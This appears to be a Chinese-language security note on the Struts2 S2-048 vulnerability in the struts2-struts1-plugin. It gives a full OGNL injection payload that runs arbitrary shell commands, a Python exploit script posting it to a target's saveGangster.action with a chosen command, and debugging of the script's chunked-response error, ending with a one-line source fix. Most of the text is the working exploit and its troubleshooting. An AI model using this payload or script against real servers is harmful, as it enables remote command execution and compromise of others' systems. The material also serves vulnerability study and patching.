Struts2-048
问题jar包
struts2-struts1-plugin.jar
漏洞验证
在struts2官方demo中,integration->struts 1 integration
,gangster字段输入${1+2}
参数,如果存在漏洞,则带入执行,返回3
;如果不存在漏洞,则正常返回。
poc利用
struts2官方demo利用poc如下1:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=#parameters.cmd[0]).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
访问gangster页面,抓包提交内容(/integration/saveGangster.action),将name
字段值改为上述urlencode(poc),加一个cmd
字段,填写shell cmd即可。
漏洞利用脚本
因为POC并不复杂,所以想基于struts2官方demo,利用上述POC做一个自动化的脚本,脚本本身并不复杂,但是执行时出现问题。
自编脚本如下:
import argparse
import requests
import httplib
def exp(url,cmd):
#httplib.HTTPConnection._http_vsn = 10
#httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0'
params={
"name":"%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=#parameters.cmd[0]).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",
'age':'1',
'__checkbox_bustedBefore':'true',
'description':'3',
'cmd':cmd
}
return requests.post(url,headers={'Accept-Encoding': 'gzip, deflate'},data=params).text
if __name__=='__main__':
parser=argparse.ArgumentParser()
parser.add_argument('url',help='target url')
parser.add_argument('cmd',help='cmd shell to be executed')
args=parser.parse_args()
print exp(args.url,args.cmd)
出现问题如下:
Traceback (most recent call last):
File "d:\security\mynote\web\java\struts\s2-048\s2-048-poc.py", line 22, in <module>
print exp('http://192.168.6.141:8080/integration/saveGangster.action','whoami')
File "d:\security\mynote\web\java\struts\s2-048\s2-048-poc.py", line 15, in exp
return requests.post(url,headers={'Accept-Encoding': 'gzip, deflate'},data=params).text
File "D:\Python\Python27\lib\site-packages\requests\api.py", line 109, in post
return request('post', url, data=data, json=json, **kwargs)
File "D:\Python\Python27\lib\site-packages\requests\api.py", line 50, in request
response = session.request(method=method, url=url, **kwargs)
File "D:\Python\Python27\lib\site-packages\requests\sessions.py", line 465, in request
resp = self.send(prep, **send_kwargs)
File "D:\Python\Python27\lib\site-packages\requests\sessions.py", line 605, in send
r.content
File "D:\Python\Python27\lib\site-packages\requests\models.py", line 750, in content
self._content = bytes().join(self.iter_content(CONTENT_CHUNK_SIZE)) or bytes()
File "D:\Python\Python27\lib\site-packages\requests\models.py", line 673, in generate
for chunk in self.raw.stream(chunk_size, decode_content=True):
File "D:\Python\Python27\lib\site-packages\requests\packages\urllib3\response.py", line 303, in stream
for line in self.read_chunked(amt, decode_content=decode_content):
File "D:\Python\Python27\lib\site-packages\requests\packages\urllib3\response.py", line 447, in read_chunked
self._update_chunk_length()
File "D:\Python\Python27\lib\site-packages\requests\packages\urllib3\response.py", line 401, in _update_chunk_length
raise httplib.IncompleteRead(line)
IncompleteRead: IncompleteRead(0 bytes read)
问题分析
通过简单的研究,发现该httplib.IncompleteRead和http chunked response有关。[chunked encoding][1,2]是http协议常用参数,表示http服务器响应报文长度不可预测,而使用分块技术传输数据。
通过抓包,发现request是一个正常的post包,而返回的确是一个chunked response,chunked response不会自动被wireshark解析。
因此,问题可以定位,是requests依赖的httplib对chunked response解析存在问题,而chunked response格式是由服务端决定的。仔细查看chunked response包可以发现,最后并没有一个terminating chunk(30\0d\0a\0d\0a),因此这是一个不正常的chunked response,httplib无法正常解析。
解决办法
解决思路可以分为两种,第一种就是不使用http chunk协议,而使用低版本的http协议;第二种就是针对抛出的异常进行处理。
正如上文分析,引起http chunk incompleteread异常的原因是因为chunked response格式不符合规范,理应通过修正服务端来解决问题,不得已情况下才考虑通过client端处理异常。
http 1.0
http chunk是http 1.1支持的特性,强制使用http 1.0可以避免chunk,方法即上文代码中注释的两行。
针对异常的处理
stackoverflow上给出了一系列针对异常处理的解决办法,这里提出一种对httplib本身的思考。
httplib的问题可定位到如下位置:
def _update_chunk_length(self):
# First, we'll figure out length of a chunk and then
# we'll try to read it from socket.
if self.chunk_left is not None:
return
line = self._fp.fp.readline()
line = line.split(b';', 1)[0]
#if line='': line='0'
try:
self.chunk_left = int(line, 16)
except ValueError:
# Invalid chunked protocol response, abort.
self.close()
raise httplib.IncompleteRead(line)
在执行line
转换为int类型时,因为没有terminating chunk,所以第二次(terminating chunk轮)line的值为空字符串,类型转换时自然抛出异常。手动转换下,也可以解决该问题。
修复
org.apache.struts2.showcase.intergration.SaveGangsterAction.java
39行,改为
messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));
-
网上还有其他POC(如freebuf),主体内容基本相似,均可以使用。 ↩